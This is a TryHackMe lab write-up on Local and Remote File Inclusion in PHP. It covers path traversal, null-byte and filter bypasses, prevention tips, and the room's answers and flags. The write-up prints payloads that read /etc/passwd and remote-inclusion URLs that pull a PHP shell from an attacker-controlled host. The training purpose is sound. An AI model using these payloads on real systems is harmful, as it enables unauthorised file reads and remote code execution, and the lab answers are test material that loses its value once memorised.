File Inclusion | TryHackMe (THM)

Aircon
13 min readMay 6, 2022

Lab Access: https://tryhackme.com/room/fileinc

File InclusionRemote File Inclusion (RFI) and Local File Inclusion (LFI) are common vulnerabilities in poorly built web applications. It happens when a web application allows users to input data into files or upload files to the server.

The graphic above illustrates a user requesting access to a file from the webserver, which includes “file (userCV.pdf).”

Supposedly, this type of vulnerability occurs and is discovered when PHP has poorly designed and implemented, and therefore the key issue is the “input validation,” in which the user inputs are not sanitized or validated, allowing the “user” to control it.

When the input is not validated, the user has the opportunity to submit any input to the function, resulting in the vulnerability.

Even though the risk is “depend,” if an attacker exploits the “File Inclusion” vulnerability on the victim, they could potentially read sensitive data, and if the attack occurred, sensitive data could be leaked, and the attacker could obtain the code and files related to the web application, as well as credentials for back-end systems.

If the attacker can write to the server, such as the /tmp directory, then remote command execution (RCE) is achievable.

The good news is that if a File Inclusion vulnerability is discovered with no access to sensitive data and no writing rights to the server, it will be ineffective.

[Question 1.1] Let’s continue to the next section to deploy the attached VM.

Answer: No answer is needed.

[Question 2.2] Once you’ve deployed the VM, please wait a few minutes for the webserver to start, then progress to the next section!

Answer: No answer is needed.

Path Traversal (Directory Traversal) — It enables an attacker to read operating system resources like local files on a server that is running an application. It operates by modifying and abusing the URL of the web application to locate and access files or folders placed outside the program’s root directory.

It works by passing a user’s input to a method like PHP’s file_get_contents. However, keep in mind that the function is NOT the primary source of the vulnerability; rather, it was created by poorinput validation or filtering.”

file_get_contents = read the content of a file
https://www.php.net/manual/en/function.file-get-contents.php

The graph below illustrates how a web application keeps files in /var/www/app. The user requesting the contents of userCV.pdf from a defined route /var/www/app/CVs would be the ideal path.

Path Traversal is also known as the dot-dot-slash attack
example: -> ../../../etc/passwd
It works perfectly with this attack because it takes advantage of changing the directory one step up by utilizing "double dots with slash (../)"

Another example, supposingly the attacker was successful in finding an access point and read the “passwd file”:

http://webapp.thm/get.php?file=../../../../etc/passwd
../../../../etc/passwd

If you look at the sample above, you’ll notice that each “../” will help you get one step closer to the directory.

/etc/passwd — It’s a file that provides user account information in plain text format, such as user ID, group ID, home directory, shell, and so on, and its purpose is to benefit in Privilege Escalation or Lateral Movement Attacks.

The following information outlines the placement of various file types in a certain directory that may be useful:

[Question 3.1] What function causes path traversal vulnerabilities in PHP?

Answer: file_get_contents

Local File Inclusion (LFI) — It frequently occurs as a result of a developer’s lack of security understanding.

  • Functions such as include, require, include_once, and require_once often contribute to vulnerable web applications

[Question 4.1] Give Lab #1 a try to read /etc/passwd. What would the request URI be?

I noticed a box for me to “enter” details, so I tried to type “test,” which lead me to the current page below.

In addition, it indicated the “Current Path” and said “No such file or directory” in “lab1.php.” The error output indicates that there is a way to work around it.

Based on the question, it was suggested to try /etc/passwd, and the output is seen below.

Answer: /lab1.php?file=/etc/passwd

[Question 4.2] In Lab #2, what is the directory specified in the include function?

Tested with an incorrect input of “hello,” which disclosed the answer within the output.

Answer: includes

[Question 5.1] Give Lab #3 a try to read /etc/passwd. What is the request look like?

Another technique provided in this section for exploiting the vulnerability is the “dot dot slash (../)” technique.

../../../../

Also included “Null Bytes (%00),” which is an injection technique that uses URL-encoded representation, and employing this method would be a means to deceive the web application into ignoring anything follows the “Null Bytes.”

[NOTE: the %00 trick is fixed and not working with PHP 5.3.4 and above.]

Answer: lab3.php?file=../../../../../etc/passwd%00

[Question 5.2] Which function is causing the directory traversal in Lab #4?

To begin, test the concept of “../../../../etc/passwd” to demonstrate that it is being filtered. As seen in the image below, it has been specified that access to the source file is not permitted.

Next, try out the concept presented in this section by appending “Null Bytes (%00)” or “slash dot (/.)” at the end of it.

Null Bytes Concept (%00)

Slash DotConcept (/.)

Answer: file_gets_content

[Putting the proof of concept to the test]

I attempted to access it via the default manner and discovered that it was not accessible.

Then, I tried the technique described below, and it worked.

It works because the PHP filter just matches and substitutes the first subset string (../) it finds and does not perform a second run.

[Question 5.3] Try out Lab #6 and check what is the directory that has to be in the input field?

After experimenting with “test” as an input, you will see that it has specified the following image below, which only allows files in the THM-profile directory.

Answer: THM-profile

[Question 5.4] Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value?

Given a try on the default way that could perhaps obtain access, however observed it said “Allowed files at THM-profile folder only”

Next, I tried searching for the file name “THM-profile” and discovered that it appeared to have an error, which is a good indicator.

Finally, using the “dot dot slash” approach to gain access to the “/etc/os-release” directory.

Answer: 12.04

Remote File Inclusion (RFI) — It is a method of incorporating remote files into a compromised application. It occurs when “user input” is not properly sanitized, allowing the attacker to inject an external URL into the “includefunction.

Requirement for RFI: "allow_url_fopen" option needs to be "on"

RFI appears to be more dangerous than LFI since it allows the attacker to get Remote Command Execution (RCE) on the server.

Consequences:
- Sensitive Information Disclosure
- Cross-Site Scripting (XSS)
- Denial of Service (DoS)

How does it work?

For a successful RFI exploit where the attacker hosts malicious files on their server, an external server MUST communicate with the application server. The malicious file is then injected into the include function via HTTP requests, and the infected file’s content executes on the susceptible application server.

First, the attacker injects the malicious URL, which points to the attacker’s server, such as http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt.

If there is no input validation, then the malicious URL passes into the include function. 

Next, the web app server will send a GET request to the malicious server to fetch the file.

As a result, the web app includes the remote file into include function to execute the PHP file within the page and send the execution content to the attacker. In our case, the current page somewhere has to show the Hello THM message.

[Question 6.1] We showed how to include PHP pages via RFI. Do research on how to get remote command execution (RCE), and answer the question in the challenge section.

Answer: No answer is needed.

Some common recommendations for preventing file inclusion vulnerabilities include:

1. Keep system and services, including web application frameworks, updated with the latest version.2. Turn off PHP errors to avoid leaking the path of the application and other potentially revealing information.3. A Web Application Firewall (WAF) is a good option to help mitigate web application attacks.4. Disable some PHP features that cause file inclusion vulnerabilities if your web app doesn’t need them, such as allow_url_fopen on and allow_url_include.5. Carefully analyze the web application and allow only protocols and PHP wrappers that are in need.6. Never trust user input, and make sure to implement proper input validation against file inclusion.7. Implement whitelisting for file names and locations as well as blacklisting.

[Question 7.1] Ready for the challenges?

Answer: No answer is needed.

Steps for testing for LFI

1. Find an entry point that could be via GET, POST, COOKIE, or HTTP header values!2. Enter a valid input to see how the web server behaves.3. Enter invalid inputs, including special characters and common file names.4. Don’t always trust what you supply in input forms is what you intended! Use either a browser address bar or a tool such as Burpsuite.5. Look for errors while entering invalid input to disclose the current path of the web application; if there are no errors, then trial and error might be your best option.6. Understand the input validation and if there are any filters!7. Try the inject a valid entry to read sensitive files

Before the challenge begins, it’s just a habit to scan the target’s system for information on what ports are open and what we should be on the lookout for.

The access page that will be seen using the link provided by THM is shown below.

http://<IP_Address>/challenges/index.php

[Question 8.1] Capture Flag1 at /etc/flag1

To begin, the File Inclusion Lab, which appears to be practice, is launched.

Next, test the “File Name” to see what the output is, and it has produced the “file=

Then, using the “dot dot slash” approach, I tested the flag requested in the question and discovered the “GET method.”

Then, to retrieve the flag, I switched from the “GET” to the “POSTmethod, as indicated on the page.

Finally, re-enter the “dot dot slash” technique by utilizing “../../../../etc/flag1” with the “POST method,” and the flag will be disclosed.

Answer: F1x3d-iNpu7-f0rrn

[Question 8.2] Capture Flag2 at /etc/flag2

After entering the page, I discovered that there is no “entry portion” other than a request to “Refresh the page please!”

Next, enable the “FoxyProxy” because Burp Suite will be used for this.

After enabling “FoxyProxy,” reload the website and allow Burp Suite to capture it. Then, send the page to the “Repeater” and change the cookie using the “dot dot slash” approach in conjunction with “Null Bytes.”

Answer: c00k13_i5_yuMmy1

[Question 8.3] Capture Flag3 at /etc/flag3

I tested a “test” input and found an error. Which is helpful since it reveals the outcome.

Then I activated the “FoxyProxy” and sent the request to Burp Suite, which I then transferred to the repeater.

I tested the “dot dot slash” approach with “Null Bytes” and “POST method” requests, and the outcome is shown below.

Answer: P0st_1s_w0rk1in9

[Question 8.4] Gain RCE in Lab #Playground /playground.php with RFI to execute the hostname command. What is the output?

The image below was obtained after accessing the “playground.php.”

http://<IP_Address>/playground.php

After accessing the website, I tried “Test” in the “File Name” to see what the output could be, and noticed that there is an error output, which is a good indicator.

Following that, I attempted “/etc/passwd” to see if there was any chance of obtaining any user information and discovered that it had revealed the user data.

Following that, recognizing that it has the ability to exploit the “php script” method, I developed a basic execution script in notepad and named it as “php_shell.txt.”

Once the script is completed, I will launch a simple HTTP server on my own system and change the port to 8000 for my own personal preference. This is because if I run my own machine within the victim’s input, it may potentially return back.

After I’ve accomplished with the simple HTTP server and the php script on my own machine, I can run my own machine within the victim’s input and see if there is any return shell.

file=http://<THM_IP_Address>:8000/php_shell.txt

My own machine will receive an answer indicating that it has received information from the victim’s web application server soon after it is launched within the victim’s file input.

Once the preceding procedures have been completed, the flag will be reviewed in the target’s web application.

Answer: lfi-vm-thm-f8c5b1a78692

CONCLUSION

This room is significantly different from the previous LFI room, and it has much more impactful material that reveals the concept and idea behind how LFI and RFI work behind the scenes.

Throughout this training, it has taught me that it is critical to defending ourselves based on the recommendations for security outlined above in order to avoid any potential opportunity for an attacker to conduct an attack.

With that considered, it has also taught me the possibility of launching a PHP script from our own system into the target’s machine and then gaining a reverse shell back to acquire access to the target’s server. Having that understanding taught me that if an adversary gains a footing in the target’s server and has the potential to move around within it, there is a potential that information will be lost, destroyed, stolen, or even held for ransom.

Nonetheless, it contains so much information that I believe it is worthwhile to re-learn it in order to have a better grasp of how it operates.

Cheers! ◡̈

--

--